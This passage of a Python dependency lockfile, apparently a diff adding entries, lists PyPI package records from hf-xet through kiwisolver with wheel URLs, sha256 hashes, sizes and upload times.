"sha256:b70218dd548e9840224df5638fdc94bd033552963cfa97f9170829381179c813", size = 2717584, upload-time = "2025-10-24T19:04:09.586Z" }, + { url = "https://files.pythonhosted.org/packages/a5/7d/daf7f8bc4594fdd59a8a596f9e3886133fdc68e675292218a5e4c1b7e834/hf_xet-1.2.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7d40b18769bb9a8bc82a9ede575ce1a44c75eb80e7375a01d76259089529b5dc", size = 3315004, upload-time = "2025-10-24T19:04:00.314Z" }, + { url = "https://files.pythonhosted.org/packages/b1/ba/45ea2f605fbf6d81c8b21e4d970b168b18a53515923010c312c06cd83164/hf_xet-1.2.0-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:cd3a6027d59cfb60177c12d6424e31f4b5ff13d8e3a1247b3a584bf8977e6df5", size = 3222636, upload-time = "2025-10-24T19:03:58.111Z" }, + { url = "https://files.pythonhosted.org/packages/4a/1d/04513e3cab8f29ab8c109d309ddd21a2705afab9d52f2ba1151e0c14f086/hf_xet-1.2.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:6de1fc44f58f6dd937956c8d304d8c2dea264c80680bcfa61ca4a15e7b76780f", size = 3408448, upload-time = "2025-10-24T19:04:20.951Z" }, + { url = "https://files.pythonhosted.org/packages/f0/7c/60a2756d7feec7387db3a1176c632357632fbe7849fce576c5559d4520c7/hf_xet-1.2.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:f182f264ed2acd566c514e45da9f2119110e48a87a327ca271027904c70c5832", size = 3503401, upload-time = "2025-10-24T19:04:22.549Z" }, + { url = "https://files.pythonhosted.org/packages/4e/64/48fffbd67fb418ab07451e4ce641a70de1c40c10a13e25325e24858ebe5a/hf_xet-1.2.0-cp313-cp313t-win_amd64.whl", hash = "sha256:293a7a3787e5c95d7be1857358a9130694a9c6021de3f27fa233f37267174382", size = 2900866, upload-time = "2025-10-24T19:04:33.461Z" }, + { url = "https://files.pythonhosted.org/packages/e2/51/f7e2caae42f80af886db414d4e9885fac959330509089f97cccb339c6b87/hf_xet-1.2.0-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:10bfab528b968c70e062607f663e21e34e2bba349e8038db546646875495179e", size = 2861861, upload-time = "2025-10-24T19:04:19.01Z" }, + { url = "https://files.pythonhosted.org/packages/6e/1d/a641a88b69994f9371bd347f1dd35e5d1e2e2460a2e350c8d5165fc62005/hf_xet-1.2.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:2a212e842647b02eb6a911187dc878e79c4aa0aa397e88dd3b26761676e8c1f8", size = 2717699, upload-time = "2025-10-24T19:04:17.306Z" }, + { url = "https://files.pythonhosted.org/packages/df/e0/e5e9bba7d15f0318955f7ec3f4af13f92e773fbb368c0b8008a5acbcb12f/hf_xet-1.2.0-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:30e06daccb3a7d4c065f34fc26c14c74f4653069bb2b194e7f18f17cbe9939c0", size = 3314885, upload-time = "2025-10-24T19:04:07.642Z" }, + { url = "https://files.pythonhosted.org/packages/21/90/b7fe5ff6f2b7b8cbdf1bd56145f863c90a5807d9758a549bf3d916aa4dec/hf_xet-1.2.0-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:29c8fc913a529ec0a91867ce3d119ac1aac966e098cf49501800c870328cc090", size = 3221550, upload-time = "2025-10-24T19:04:05.55Z" }, + { url = "https://files.pythonhosted.org/packages/6f/cb/73f276f0a7ce46cc6a6ec7d6c7d61cbfe5f2e107123d9bbd0193c355f106/hf_xet-1.2.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:66e159cbfcfbb29f920db2c09ed8b660eb894640d284f102ada929b6e3dc410a", size = 3408010, upload-time = "2025-10-24T19:04:28.598Z" }, + { url = "https://files.pythonhosted.org/packages/b8/1e/d642a12caa78171f4be64f7cd9c40e3ca5279d055d0873188a58c0f5fbb9/hf_xet-1.2.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:9c91d5ae931510107f148874e9e2de8a16052b6f1b3ca3c1b12f15ccb491390f", size = 3503264, upload-time = "2025-10-24T19:04:30.397Z" }, + { url = "https://files.pythonhosted.org/packages/17/b5/33764714923fa1ff922770f7ed18c2daae034d21ae6e10dbf4347c854154/hf_xet-1.2.0-cp314-cp314t-win_amd64.whl", hash = "sha256:210d577732b519ac6ede149d2f2f34049d44e8622bf14eb3d63bbcd2d4b332dc", size = 2901071, upload-time = "2025-10-24T19:04:37.463Z" }, + { url = "https://files.pythonhosted.org/packages/96/2d/22338486473df5923a9ab7107d375dbef9173c338ebef5098ef593d2b560/hf_xet-1.2.0-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:46740d4ac024a7ca9b22bebf77460ff43332868b661186a8e46c227fdae01848", size = 2866099, upload-time = "2025-10-24T19:04:15.366Z" }, + { url = "https://files.pythonhosted.org/packages/7f/8c/c5becfa53234299bc2210ba314eaaae36c2875e0045809b82e40a9544f0c/hf_xet-1.2.0-cp37-abi3-macosx_11_0_arm64.whl", hash = "sha256:27df617a076420d8845bea087f59303da8be17ed7ec0cd7ee3b9b9f579dff0e4", size = 2722178, upload-time = "2025-10-24T19:04:13.695Z" }, + { url = "https://files.pythonhosted.org/packages/9a/92/cf3ab0b652b082e66876d08da57fcc6fa2f0e6c70dfbbafbd470bb73eb47/hf_xet-1.2.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3651fd5bfe0281951b988c0facbe726aa5e347b103a675f49a3fa8144c7968fd", size = 3320214, upload-time = "2025-10-24T19:04:03.596Z" }, + { url = "https://files.pythonhosted.org/packages/46/92/3f7ec4a1b6a65bf45b059b6d4a5d38988f63e193056de2f420137e3c3244/hf_xet-1.2.0-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:d06fa97c8562fb3ee7a378dd9b51e343bc5bc8190254202c9771029152f5e08c", size = 3229054, upload-time = "2025-10-24T19:04:01.949Z" }, + { url = "https://files.pythonhosted.org/packages/0b/dd/7ac658d54b9fb7999a0ccb07ad863b413cbaf5cf172f48ebcd9497ec7263/hf_xet-1.2.0-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:4c1428c9ae73ec0939410ec73023c4f842927f39db09b063b9482dac5a3bb737", size = 3413812, upload-time = "2025-10-24T19:04:24.585Z" }, + { url = "https://files.pythonhosted.org/packages/92/68/89ac4e5b12a9ff6286a12174c8538a5930e2ed662091dd2572bbe0a18c8a/hf_xet-1.2.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:a55558084c16b09b5ed32ab9ed38421e2d87cf3f1f89815764d1177081b99865", size = 3508920, upload-time = "2025-10-24T19:04:26.927Z" }, + { url = "https://files.pythonhosted.org/packages/cb/44/870d44b30e1dcfb6a65932e3e1506c103a8a5aea9103c337e7a53180322c/hf_xet-1.2.0-cp37-abi3-win_amd64.whl", hash = "sha256:e6584a52253f72c9f52f9e549d5895ca7a471608495c4ecaa6cc73dba2b24d69", size = 2905735, upload-time = "2025-10-24T19:04:35.928Z" }, +] + +[[package]] +name = "htmlmin2" +version = "0.1.13" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/be/31/a76f4bfa885f93b8167cb4c85cf32b54d1f64384d0b897d45bc6d19b7b45/htmlmin2-0.1.13-py3-none-any.whl", hash = "sha256:75609f2a42e64f7ce57dbff28a39890363bde9e7e5885db633317efbdf8c79a2", size = 34486, upload-time = "2023-03-14T21:28:30.388Z" }, +] + +[[package]] +name = "huggingface-hub" +version = "0.36.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "filelock" }, + { name = "fsspec" }, + { name = "hf-xet", marker = "platform_machine == 'aarch64' or platform_machine == 'amd64' or platform_machine == 'arm64' or platform_machine == 'x86_64'" }, + { name = "packaging" }, + { name = "pyyaml" }, + { name = "requests" }, + { name = "tqdm" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/7c/b7/8cb61d2eece5fb05a83271da168186721c450eb74e3c31f7ef3169fa475b/huggingface_hub-0.36.2.tar.gz", hash = "sha256:1934304d2fb224f8afa3b87007d58501acfda9215b334eed53072dd5e815ff7a", size = 649782, upload-time = "2026-02-06T09:24:13.098Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a8/af/48ac8483240de756d2438c380746e7130d1c6f75802ef22f3c6d49982787/huggingface_hub-0.36.2-py3-none-any.whl", hash = "sha256:48f0c8eac16145dfce371e9d2d7772854a4f591bcb56c9cf548accf531d54270", size = 566395, upload-time = "2026-02-06T09:24:11.133Z" }, +] + +[[package]] +name = "hydra-core" +version = "1.3.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "antlr4-python3-runtime" }, + { name = "omegaconf" }, + { name = "packaging" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/6d/8e/07e42bc434a847154083b315779b0a81d567154504624e181caf2c71cd98/hydra-core-1.3.2.tar.gz", hash = "sha256:8a878ed67216997c3e9d88a8e72e7b4767e81af37afb4ea3334b269a4390a824", size = 3263494, upload-time = "2023-02-23T18:33:43.03Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c6/50/e0edd38dcd63fb26a8547f13d28f7a008bc4a3fd4eb4ff030673f22ad41a/hydra_core-1.3.2-py3-none-any.whl", hash = "sha256:fa0238a9e31df3373b35b0bfb672c34cc92718d21f81311d8996a16de1141d8b", size = 154547, upload-time = "2023-02-23T18:33:40.801Z" }, +] + +[[package]] +name = "id" +version = "1.5.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "requests" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/22/11/102da08f88412d875fa2f1a9a469ff7ad4c874b0ca6fed0048fe385bdb3d/id-1.5.0.tar.gz", hash = "sha256:292cb8a49eacbbdbce97244f47a97b4c62540169c976552e497fd57df0734c1d", size = 15237, upload-time = "2024-12-04T19:53:05.575Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9f/cb/18326d2d89ad3b0dd143da971e77afd1e6ca6674f1b1c3df4b6bec6279fc/id-1.5.0-py3-none-any.whl", hash = "sha256:f1434e1cef91f2cbb8a4ec64663d5a23b9ed43ef44c4c957d02583d61714c658", size = 13611, upload-time = "2024-12-04T19:53:03.02Z" }, +] + +[[package]] +name = "identify" +version = "2.6.10" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/0c/83/b6ea0334e2e7327084a46aaaf71f2146fc061a192d6518c0d020120cd0aa/identify-2.6.10.tar.gz", hash = "sha256:45e92fd704f3da71cc3880036633f48b4b7265fd4de2b57627cb157216eb7eb8", size = 99201, upload-time = "2025-04-19T15:10:38.32Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2b/d3/85feeba1d097b81a44bcffa6a0beab7b4dfffe78e82fc54978d3ac380736/identify-2.6.10-py2.py3-none-any.whl", hash = "sha256:5f34248f54136beed1a7ba6a6b5c4b6cf21ff495aac7c359e1ef831ae3b8ab25", size = 99101, upload-time = "2025-04-19T15:10:36.701Z" }, +] + +[[package]] +name = "idna" +version = "3.10" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f1/70/7703c29685631f5a7590aa73f1f1d3fa9a380e654b86af429e0934a32f7d/idna-3.10.tar.gz", hash = "sha256:12f65c9b470abda6dc35cf8e63cc574b1c52b11df2c86030af0ac09b01b13ea9", size = 190490, upload-time = "2024-09-15T18:07:39.745Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/76/c6/c88e154df9c4e1a2a66ccf0005a88dfb2650c1dffb6f5ce603dfbd452ce3/idna-3.10-py3-none-any.whl", hash = "sha256:946d195a0d259cbba61165e88e65941f16e9b36ea6ddb97f00452bae8b1287d3", size = 70442, upload-time = "2024-09-15T18:07:37.964Z" }, +] + +[[package]] +name = "imageio" +version = "2.37.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "numpy" }, + { name = "pillow" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/a3/6f/606be632e37bf8d05b253e8626c2291d74c691ddc7bcdf7d6aaf33b32f6a/imageio-2.37.2.tar.gz", hash = "sha256:0212ef2727ac9caa5ca4b2c75ae89454312f440a756fcfc8ef1993e718f50f8a", size = 389600, upload-time = "2025-11-04T14:29:39.898Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fb/fe/301e0936b79bcab4cacc7548bf2853fc28dced0a578bab1f7ef53c9aa75b/imageio-2.37.2-py3-none-any.whl", hash = "sha256:ad9adfb20335d718c03de457358ed69f141021a333c40a53e57273d8a5bd0b9b", size = 317646, upload-time = "2025-11-04T14:29:37.948Z" }, +] + +[[package]] +name = "importlib-metadata" +version = "8.7.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "zipp" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/76/66/650a33bd90f786193e4de4b3ad86ea60b53c89b669a5c7be931fac31cdb0/importlib_metadata-8.7.0.tar.gz", hash = "sha256:d13b81ad223b890aa16c5471f2ac3056cf76c5f10f82d6f9292f0b415f389000", size = 56641, upload-time = "2025-04-27T15:29:01.736Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/20/b0/36bd937216ec521246249be3bf9855081de4c5e06a0c9b4219dbeda50373/importlib_metadata-8.7.0-py3-none-any.whl", hash = "sha256:e5dd1551894c77868a30651cef00984d50e1002d06942a7101d34870c5f02afd", size = 27656, upload-time = "2025-04-27T15:29:00.214Z" }, +] + +[[package]] +name = "importlib-resources" +version = "6.5.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/cf/8c/f834fbf984f691b4f7ff60f50b514cc3de5cc08abfc3295564dd89c5e2e7/importlib_resources-6.5.2.tar.gz", hash = "sha256:185f87adef5bcc288449d98fb4fba07cea78bc036455dd44c5fc4a2fe78fed2c", size = 44693, upload-time = "2025-01-03T18:51:56.698Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a4/ed/1f1afb2e9e7f38a545d628f864d562a5ae64fe6f7a10e28ffb9b185b4e89/importlib_resources-6.5.2-py3-none-any.whl", hash = "sha256:789cfdc3ed28c78b67a06acb8126751ced69a3d5f79c095a98298cd8a760ccec", size = 37461, upload-time = "2025-01-03T18:51:54.306Z" }, +] + +[[package]] +name = "inference-models" +version = "0.19.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "accelerate" }, + { name = "backoff" }, + { name = "bitsandbytes", marker = "sys_platform != 'darwin'" }, + { name = "easyocr" }, + { name = "einops" }, + { name = "filelock" }, + { name = "num2words" }, + { name = "numpy" }, + { name = "opencv-python" }, + { name = "packaging" }, + { name = "peft" }, + { name = "pybase64" }, + { name = "pydantic" }, + { name = "python-doctr", extra = ["torch"] }, + { name = "pyvips" }, + { name = "requests" }, + { name = "rf-clip" }, + { name = "rf-groundingdino" }, + { name = "rf-sam-2" }, + { name = "rf-segment-anything" }, + { name = "rich" }, + { name = "scikit-image" }, + { name = "segmentation-models-pytorch" }, + { name = "sentencepiece" }, + { name = "supervision" }, + { name = "timm" }, + { name = "tldextract" }, + { name = "torch" }, + { name = "torchvision" }, + { name = "transformers" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/a3/78/2203d10e97d85f304d62e8e48819d506eb12f98cbbd8199de4329ab21d3f/inference_models-0.19.0.tar.gz", hash = "sha256:e2d6e5268e57fffa720f13a2726f1c9c5afd8a31cbcf1d2455af1e3f48f9e6f1", size = 1640364, upload-time = "2026-02-20T11:22:07.482Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/22/33/1e964746594d30f3b44af6db7351176b31b9fb8e04a0672d2f6161af444d/inference_models-0.19.0-py3-none-any.whl", hash = "sha256:02f5ac81bb05e233fbf09924a90586d6bd81654912296f537880ac95f3f7babd", size = 1802320, upload-time = "2026-02-20T11:22:04.718Z" }, +] + +[[package]] +name = "iniconfig" +version = "2.1.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f2/97/ebf4da567aa6827c909642694d71c9fcf53e5b504f2d96afea02718862f3/iniconfig-2.1.0.tar.gz", hash = "sha256:3abbd2e30b36733fee78f9c7f7308f2d0050e88f0087fd25c2645f63c773e1c7", size = 4793, upload-time = "2025-03-19T20:09:59.721Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2c/e1/e6716421ea10d38022b952c159d5161ca1193197fb744506875fbb87ea7b/iniconfig-2.1.0-py3-none-any.whl", hash = "sha256:9deba5723312380e77435581c6bf4935c94cbfab9b1ed33ef8d238ea168eb760", size = 6050, upload-time = "2025-03-19T20:10:01.071Z" }, +] + +[[package]] +name = "iopath" +version = "0.1.10" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "portalocker" }, + { name = "tqdm" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/72/73/b3d451dfc523756cf177d3ebb0af76dc7751b341c60e2a21871be400ae29/iopath-0.1.10.tar.gz", hash = "sha256:3311c16a4d9137223e20f141655759933e1eda24f8bff166af834af3c645ef01", size = 42226, upload-time = "2022-07-09T19:00:50.866Z" } + +[[package]] +name = "jaraco-classes" +version = "3.4.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "more-itertools" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/c0/ed4a27bc5571b99e3cff68f8a9fa5b56ff7df1c2251cc715a652ddd26402/jaraco.classes-3.4.0.tar.gz", hash = "sha256:47a024b51d0239c0dd8c8540c6c7f484be3b8fcf0b2d85c13825780d3b3f3acd", size = 11780, upload-time = "2024-03-31T07:27:36.643Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7f/66/b15ce62552d84bbfcec9a4873ab79d993a1dd4edb922cbfccae192bd5b5f/jaraco.classes-3.4.0-py3-none-any.whl", hash = "sha256:f662826b6bed8cace05e7ff873ce0f9283b5c924470fe664fff1c2f00f581790", size = 6777, upload-time = "2024-03-31T07:27:34.792Z" }, +] + +[[package]] +name = "jaraco-context" +version = "6.0.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "backports-tarfile", marker = "python_full_version < '3.12'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/df/ad/f3777b81bf0b6e7bc7514a1656d3e637b2e8e15fab2ce3235730b3e7a4e6/jaraco_context-6.0.1.tar.gz", hash = "sha256:9bae4ea555cf0b14938dc0aee7c9f32ed303aa20a3b73e7dc80111628792d1b3", size = 13912, upload-time = "2024-08-20T03:39:27.358Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ff/db/0c52c4cf5e4bd9f5d7135ec7669a3a767af21b3a308e1ed3674881e52b62/jaraco.context-6.0.1-py3-none-any.whl", hash = "sha256:f797fc481b490edb305122c9181830a3a5b76d84ef6d1aef2fb9b47ab956f9e4", size = 6825, upload-time = "2024-08-20T03:39:25.966Z" }, +] + +[[package]] +name = "jaraco-functools" +version = "4.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "more-itertools" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ab/23/9894b3df5d0a6eb44611c36aec777823fc2e07740dabbd0b810e19594013/jaraco_functools-4.1.0.tar.gz", hash = "sha256:70f7e0e2ae076498e212562325e805204fc092d7b4c17e0e86c959e249701a9d", size = 19159, upload-time = "2024-09-27T19:47:09.122Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9f/4f/24b319316142c44283d7540e76c7b5a6dbd5db623abd86bb7b3491c21018/jaraco.functools-4.1.0-py3-none-any.whl", hash = "sha256:ad159f13428bc4acbf5541ad6dec511f91573b90fba04df61dafa2a1231cf649", size = 10187, upload-time = "2024-09-27T19:47:07.14Z" }, +] + +[[package]] +name = "jeepney" +version = "0.9.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7b/6f/357efd7602486741aa73ffc0617fb310a29b588ed0fd69c2399acbb85b0c/jeepney-0.9.0.tar.gz", hash = "sha256:cf0e9e845622b81e4a28df94c40345400256ec608d0e55bb8a3feaa9163f5732", size = 106758, upload-time = "2025-02-27T18:51:01.684Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b2/a3/e137168c9c44d18eff0376253da9f1e9234d0239e0ee230d2fee6cea8e55/jeepney-0.9.0-py3-none-any.whl", hash = "sha256:97e5714520c16fc0a45695e5365a2e11b81ea79bba796e26f9f1d178cb182683", size = 49010, upload-time = "2025-02-27T18:51:00.104Z" }, +] + +[[package]] +name = "jinja2" +version = "3.1.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markupsafe" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 245115, upload-time = "2025-03-05T20:05:02.478Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" }, +] + +[[package]] +name = "jsmin" +version = "3.0.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5e/73/e01e4c5e11ad0494f4407a3f623ad4d87714909f50b17a06ed121034ff6e/jsmin-3.0.1.tar.gz", hash = "sha256:c0959a121ef94542e807a674142606f7e90214a2b3d1eb17300244bbb5cc2bfc", size = 13925, upload-time = "2022-01-16T20:35:59.13Z" } + +[[package]] +name = "keyring" +version = "25.6.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "importlib-metadata", marker = "python_full_version < '3.12'" }, + { name = "jaraco-classes" }, + { name = "jaraco-context" }, + { name = "jaraco-functools" }, + { name = "jeepney", marker = "sys_platform == 'linux'" }, + { name = "pywin32-ctypes", marker = "sys_platform == 'win32'" }, + { name = "secretstorage", marker = "sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/70/09/d904a6e96f76ff214be59e7aa6ef7190008f52a0ab6689760a98de0bf37d/keyring-25.6.0.tar.gz", hash = "sha256:0b39998aa941431eb3d9b0d4b2460bc773b9df6fed7621c2dfb291a7e0187a66", size = 62750, upload-time = "2024-12-25T15:26:45.782Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d3/32/da7f44bcb1105d3e88a0b74ebdca50c59121d2ddf71c9e34ba47df7f3a56/keyring-25.6.0-py3-none-any.whl", hash = "sha256:552a3f7af126ece7ed5c89753650eec89c7eaae8617d0aa4d9ad2b75111266bd", size = 39085, upload-time = "2024-12-25T15:26:44.377Z" }, +] + +[[package]] +name = "kiwisolver" +version = "1.4.8" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/59/7c91426a8ac292e1cdd53a63b6d9439abd573c875c3f92c146767dd33faf/kiwisolver-1.4.8.tar.gz", hash = "sha256:23d5f023bdc8c7e54eb65f03ca5d5bb25b601eac4d7f1a042888a1f45237987e", size = 97538, upload-time = "2024-12-24T18:30:51.519Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/47/5f/4d8e9e852d98ecd26cdf8eaf7ed8bc33174033bba5e07001b289f07308fd/kiwisolver-1.4.8-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:88c6f252f6816a73b1f8c904f7bbe02fd67c09a69f7cb8a0eecdbf5ce78e63db", size = 124623, upload-time = "2024-12-24T18:28:17.687Z" }, + { url = "https://files.pythonhosted.org/packages/1d/70/7f5af2a18a76fe92ea14675f8bd88ce53ee79e37900fa5f1a1d8e0b42998/kiwisolver-1.4.8-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:c72941acb7b67138f35b879bbe85be0f6c6a70cab78fe3ef6db9c024d9223e5b", size = 66720, upload-time = "2024-12-24T18:28:19.158Z" }, + { url = "https://files.pythonhosted.org/packages/c6/13/e15f804a142353aefd089fadc8f1d985561a15358c97aca27b0979cb0785/kiwisolver-1.4.8-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ce2cf1e5688edcb727fdf7cd1bbd0b6416758996826a8be1d958f91880d0809d", size = 65413, upload-time = "2024-12-24T18:28:20.064Z" }, + { url = "https://files.pythonhosted.org/packages/ce/6d/67d36c4d2054e83fb875c6b59d0809d5c530de8148846b1370475eeeece9/kiwisolver-1.4.8-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:c8bf637892dc6e6aad2bc6d4d69d08764166e5e3f69d469e55427b6ac001b19d", size = 1650826, upload-time = "2024-12-24T18:28:21.203Z" }, + { url = "https://files.pythonhosted.org/packages/de/c6/7b9bb8044e150d4d1558423a1568e4f227193662a02231064e3824f37e0a/kiwisolver-1.4.8-cp310-cp310-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:034d2c891f76bd3edbdb3ea11140d8510dca675443da7304205a2eaa45d8334c", size = 1628231, upload-time = "2024-12-24T18:28:23.851Z" }, + { url = "https://files.pythonhosted.org/packages/b6/38/ad10d437563063eaaedbe2c3540a71101fc7fb07a7e71f855e93ea4de605/kiwisolver-1.4.8-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d47b28d1dfe0793d5e96bce90835e17edf9a499b53969b03c6c47ea5985844c3", size = 1408938, upload-time = "2024-12-24T18:28:26.687Z" }, + { url = "https://files.pythonhosted.org/packages/52/ce/c0106b3bd7f9e665c5f5bc1e07cc95b5dabd4e08e3dad42dbe2faad467e7/kiwisolver-1.4.8-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:eb158fe28ca0c29f2260cca8c43005329ad58452c36f0edf298204de32a9a3ed", size = 1422799, upload-time = "2024-12-24T18:28:30.538Z" }, + { url = "https://files.pythonhosted.org/packages/d0/87/efb704b1d75dc9758087ba374c0f23d3254505edaedd09cf9d247f7878b9/kiwisolver-1.4.8-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d5536185fce131780ebd809f8e623bf4030ce1b161353166c49a3c74c287897f", size = 1354362, upload-time = "2024-12-24T18:28:32.943Z" }, + { url = "https://files.pythonhosted.org/packages/eb/b3/fd760dc214ec9a8f208b99e42e8f0130ff4b384eca8b29dd0efc62052176/kiwisolver-1.4.8-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:369b75d40abedc1da2c1f4de13f3482cb99e3237b38726710f4a793432b1c5ff", size = 2222695, upload-time = "2024-12-24T18:28:35.641Z" }, + { url = "https://files.pythonhosted.org/packages/a2/09/a27fb36cca3fc01700687cc45dae7a6a5f8eeb5f657b9f710f788748e10d/kiwisolver-1.4.8-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:641f2ddf9358c80faa22e22eb4c9f54bd3f0e442e038728f500e3b978d00aa7d", size = 2370802, upload-time = "2024-12-24T18:28:38.357Z" }, + { url = "https://files.pythonhosted.org/packages/3d/c3/ba0a0346db35fe4dc1f2f2cf8b99362fbb922d7562e5f911f7ce7a7b60fa/kiwisolver-1.4.8-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:d561d2d8883e0819445cfe58d7ddd673e4015c3c57261d7bdcd3710d0d14005c", size = 2334646, upload-time = "2024-12-24T18:28:40.941Z" }, + { url = "https://files.pythonhosted.org/packages/41/52/942cf69e562f5ed253ac67d5c92a693745f0bed3c81f49fc0cbebe4d6b00/kiwisolver-1.4.8-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:1732e065704b47c9afca7ffa272f845300a4eb959276bf6970dc07265e73b605", size = 2467260, upload-time = "2024-12-24T18:28:42.273Z" }, + { url = "https://files.pythonhosted.org/packages/32/26/2d9668f30d8a494b0411d4d7d4ea1345ba12deb6a75274d58dd6ea01e951/kiwisolver-1.4.8-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:bcb1ebc3547619c3b58a39e2448af089ea2ef44b37988caf432447374941574e", size = 2288633, upload-time = "2024-12-24T18:28:44.87Z" }, + { url = "https://files.pythonhosted.org/packages/98/99/0dd05071654aa44fe5d5e350729961e7bb535372935a45ac89a8924316e6/kiwisolver-1.4.8-cp310-cp310-win_amd64.whl", hash = "sha256:89c107041f7b27844179ea9c85d6da275aa55ecf28413e87624d033cf1f6b751", size = 71885, upload-time = "2024-12-24T18:28:47.346Z" }, + { url = "https://files.pythonhosted.org/packages/6c/fc/822e532262a97442989335394d441cd1d0448c2e46d26d3e04efca84df22/kiwisolver-1.4.8-cp310-cp310-win_arm64.whl", hash = "sha256:b5773efa2be9eb9fcf5415ea3ab70fc785d598729fd6057bea38d539ead28271", size = 65175, upload-time = "2024-12-24T18:28:49.651Z" }, + { url = "https://files.pythonhosted.org/packages/da/ed/c913ee28936c371418cb167b128066ffb20bbf37771eecc2c97edf8a6e4c/kiwisolver-1.4.8-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:a4d3601908c560bdf880f07d94f31d734afd1bb71e96585cace0e38ef44c6d84", size = 124635, upload-time = "2024-12-24T18:28:51.826Z" }, + { url = "https://files.pythonhosted.org/packages/4c/45/4a7f896f7467aaf5f56ef093d1f329346f3b594e77c6a3c327b2d415f521/kiwisolver-1.4.8-cp311-cp311-macosx_10_9_x86_64.whl", hash = 